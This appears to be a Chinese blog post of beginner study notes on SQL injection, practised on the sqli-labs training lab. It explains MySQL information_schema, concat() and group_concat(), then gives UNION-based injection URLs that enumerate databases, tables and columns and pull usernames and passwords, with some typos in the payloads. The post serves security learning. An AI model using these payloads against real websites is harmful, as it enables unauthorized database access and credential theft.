SQL注入练习第一天
MySQL 相关知识
在MySQL中,把【INFORMATION_SCHEMA】 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。
在 【INFORMATION_SCHEMA 】中,有数个 只读 表。它们实际上是 视图 ,而不是基本表,因此,你将无法看到与之相关的任何文件。
获取所有表结构(TABLES)
SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA='数据库名'; TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。
例如:列出test数据库中所有的表名,类型(普通表还是view)和使用的引擎
select table_name, table_type, engine
FROM information_schema.tables
WHERE table_schema = 'test'
ORDER BY table_name DESC;
解释: 对表的meta data的查询需要使用information_schema.tables, table_schema是数据库的名称,table_name是具体的表名,table_type指的是表的类型
concat()函数
功能:将多个字符串连接成一个字符串。
语法:concat(str1, str2,...)
返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。
1:select concat (id, name, score) as info from student;
返回的结果就是 1小明79
若是嫌格式数据显示不够清楚,可以加 ‘-’
select concat (id, '-',name, '-', score) as info from student;
返回的结果就是 1-小明-79
Group_coucat功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果
例:select name, group_concat (id) from student group by name;
小明 | 1,5,6
小丽 | 2,4
小伟 | 3
小红 | 7
这样就使用group_concat()和group by显示相同名字的人的id号
4.接着使用order by 语句判断,该表中一共有几列数据
order by 3页面回显正常,order by 4页面回显不正常,说明此表一个有3列。
5.将id=1改为一个数据库不存在的id值,如861,使用union select 1,2,3联合查询语句查看页面是否有显示位。
发现页面先输出了2和3,说明页面有2个显示位
6.然后利用sql查询语句依次爆破出数据库内的数据库名,表名,列名,字段信息
http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+ 这是一个查询数据库名信息的语句
7.查询security内的所有表名http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
8.接着使用下面的语句爆破出列名
select group_concat(column_name) from information_schema.columns where table_name='users'
9.接着使用如下语句查询所有的用户名,密码 lesect group_concat(password) from security.users
注入大体流程
SELECT * FROM users WHERE id='-1' and 1=2'
思路就是 :先得判断是不是存在注入,然后判断是存在什么类型的注入,是字符型的还是数字型的,然后构造语句,先判断字段长度,然后通过插入语句database() 爆数据库名称,然后通过information_schema.tables 里面的table_schema=database()爆表名,然后通过infoemation_schema 爆字段名 然后在查字段中的内容
http://hefdfssdf:asp?id= 1 返回正常
如果返回正常的话,我们可以假设数据库执行了这条语句select * from user where id = 1
http://hefdfssdf:asp?id= 1' 加引号报错,可能存在注入
http://hefdfssdf:asp?id= 1 and 1=1
select * from user where id = 1 and 1 =1
如果and 1=1 报错了,那么就可能是
select * from user where id ='1 and 1=1 '
select * from user where id = '1' and '1' = '1'
select * from user where id = '1' and '1' = '2'
假设说,确定了是数字型注入,那么开始判断字段长度,一共有几个字段
一 、用order by 判断
select * from user where id = 1 order by 2 没报错
select * from user where id = 1 order by 3 也没报错
select * from user where id = 1 order by 4 也没报错
select * from user where id = 1 order by 5 报错了,说明存在3个字段
判断出来了字段数,然后使用联合查询 看看哪些字段可以利用
http://hefdfssdf:asp?id = 1 union select 1,2,3,4
然后爆出来 两个 2和3 出现问题 了
二 、爆数据库名
然后就想查什么就查什么
就比如先查数据库名,查完数据库名查表名,在查字段,字段名说白了就是列名
http://hefdfssdf:asp?id =- 1 union select 1,database(),version() 4
这个时候页面上已经爆出来数据库名字了,比如说数据库名字是aaa,然后根据数据库名字查询
三、爆表名
http://hefdfssdf:asp?id = -1 union select 1 ,2,group_concat(table_name) ,4 from infoemation_schema.tables where table_schema=database() database()这里换成上面查出来的数据库的名称也就是 aaa
然后显示出此数据库下面的所有表名,比如说,查出来表名字是 bbb
limit 0,1, 从你的表中的第0个数据开始,只读取一个,这样查出来的就是第一个数据库 ,再用一遍limit 1,1,就能查出来第二个数据库
四、爆字段名
http://hefdfssdf:asp?id = -1 union select 1,2,column_name ,4 from information_schema where table_schema = ‘aaa’ and table_name = ‘bbb’ limit 0,1 --+
table_shame 填写的是刚才爆出来的数据库名字,table_name 填写的是刚刚爆出来的表名
同理,假如说爆出来 俩字段,一个是user,另一个是password
五、爆字段中的内容
接着查询aaa数据库中bbb表中user和password中的内容
http://hefdfssdf:asp?id = -1 union select 1,2,concat(usre,’-’,password ),4 from aaa.bbb limit0,1 --+
就能爆出来用户名和密码 例如 admin – 12345
这里的concat()函数,详见下面说明,(user, ’-’ ,password)中间加了个’-’是为了好区分
SQL注入练习第一天的更多相关文章
- SQL注入平台第一关,注入?id=1'不报错的问题
第一关需要在地址栏输入id参数测试是否有注入点 我这里输入 http://localhost/sqli-labs-master/Less-1/?id=1 下一步将id参数改为?id=1' http:/ ...
- SQL注入自学[第一学:一个简单的注入环境的编写]
/* 转载请注明出处 ID:珍惜少年时 */ CODE区域: /*注:现在mysql_connect的这种连接方式已经被放弃了,也就是说不用了,老夫也是新手上路故,下载了一个wampserver2.2 ...
- 【sql注入】浅谈JSP安全开发之SQL注入
[sql注入]浅谈JSP安全开发之SQL注入 本文转自:i春秋社区 前言不管是用什么语言编写WEB应用程序,他们都或多或少有一些地方存在漏洞.如果你想知道漏洞的运行原理,和防御方案,那么请看完本篇文章 ...
- python 打造一个sql注入脚本 (一)
0x00前言: 昨天刚刚看完小迪老师的sql注入篇的第一章 所以有了新的笔记. 0x01笔记: sql注入原理: 网站数据传输中,接受变量传递的值未进行过滤,导致直接带入数据库查询执行的操作. sql ...
- 第一次MySQL的SQL注入实验
测试平台:https://www.mozhe.cn/news/detail/324 上完SQL注入的第一节课过来对着笔记一步一步来做.. 1.首页面上没有id=XXX的东西,看见“平台维护通知”,点开 ...
- 什么是SQL注入漏洞?
什么是SQL注入: SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL. SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字 ...
- SQL注入之Sqli-labs系列第一篇
在开始接触渗透测试开始,最初玩的最多的就是Sql注入,注入神器阿D.明小子.穿山甲等一切工具风靡至今.当初都是以日站为乐趣,从安全法实施后在没有任何授权的情况下,要想练手只能本地环境进行练手,对于sq ...
- SQL注入之Sqli-labs系列第一关
在开始接触渗透测试开始,最初玩的最多的就是Sql注入,注入神器阿D.明小子.穿山甲等一切工具风靡至今.当初都是以日站为乐趣,从安全法实施后在没有任何授权的情况下,要想练手只能本地环境进行练手,对于sq ...
- web安全之SQL注入--第一章 课程介绍
课程介绍1.什么是SQL注入?2.如何寻找SQL注入漏洞?3.如何进行sql注入攻击?4.如何预防sql注入5.课程总结
随机推荐
- Java8常用的内置函数式接口(一)Predicate、Consumer、Supplier、Function
Java8常用的内置函数式接口(一) 简介 JDK 1.8 API中包含了很多内置的函数式接口.有些是在以前版本的Java中大家耳熟能详的,例如Comparator接口,或者Runnable接口.对这 ...
- thinkPHP 无法加载控制器:Hello
出现这种问题的情况下要看看: (1).控制器的名称是否写对,控制器的命名规范(别忘下class) 控制器的命名规则1.必须采用大驼峰的命名规则2.必须以Controller.class.php来结尾I ...
- iOS中跑马灯效果小结
时光过得好快,记忆中刚刚从春节返回没有多久,清明.五一已飞逝而过,眨眼已到盛夏季节.不过还好,济南这两年不算太热,刚开始升温几天,一场及时雨总能让温度保持适宜.为了纪念一下青春的尾巴,也为了能有个健康 ...
- P6823 「EZEC-4」zrmpaul Loves Array
发现进行一次排序后先前的操作都无效了,所以只需做最后一次排序后的操作.翻转操作打个翻转标记,互换操作根据翻转标记即可. 时间复杂度 \(O\left(n+m\right)\). code: #incl ...
- D - Number of Multisets 题解(思维dp)
题目链接 题目大意 给你一个数k和n,表示用n个\(1/2^i(i=0,1,2.....)\)组成k有多少种方案数 题目思路 这个dp实属巧妙 设\(dp[i][j]表示i个数构成j\) 这i个数可以 ...
- 公平lock和非公平lock的区别
可以看到区别在于,在lock时和tryAquire时,非公平锁不会去管队列中有没有线程在排队,直接尝试去获取锁,失败之后就和公平锁一样,乖乖去排队. 也就是说发生竞争的场景在于,尚未入队的线程之间和刚 ...
- dubbo协议之请求头编码器
开局一张图,内容全靠XXXXX.... 如图是dubbo协议的格式 encodeRequest进来会先去channel对象中取url的Parameters的"serialization&qu ...
- 我劝!这位年轻人不讲MVCC,耗子尾汁!
目录 一.事物的隔离级别与MVCC? 二.Repeatable Read是如何实现的 本文是MySQL专题第15篇,全文近100篇(公众号首发) 三.Read Commited是如何实现的: 本文是M ...
- 探究 | 如何捕获一个Activity页面上所有的点击行为
前言 最近逛wanAndroid论坛,发现一个有趣的问题:如何捕获一个Activity页面上所有的点击行为. 一起研究下吧,不想看源码的小伙伴可以直接看文末总结- 准备工作 先得罗列出页面上的一些点击 ...
- idea:如果String 跟System该怎么解决
这个问题还是比较简单的,但有很多小白不知道,我也是刚刚才遇到查了一些资料才知道的 接下来这里就是需要配置你的SDK,所以请你点击右上角的图标,进行配置SDK jdk下载地址:https://www.o ...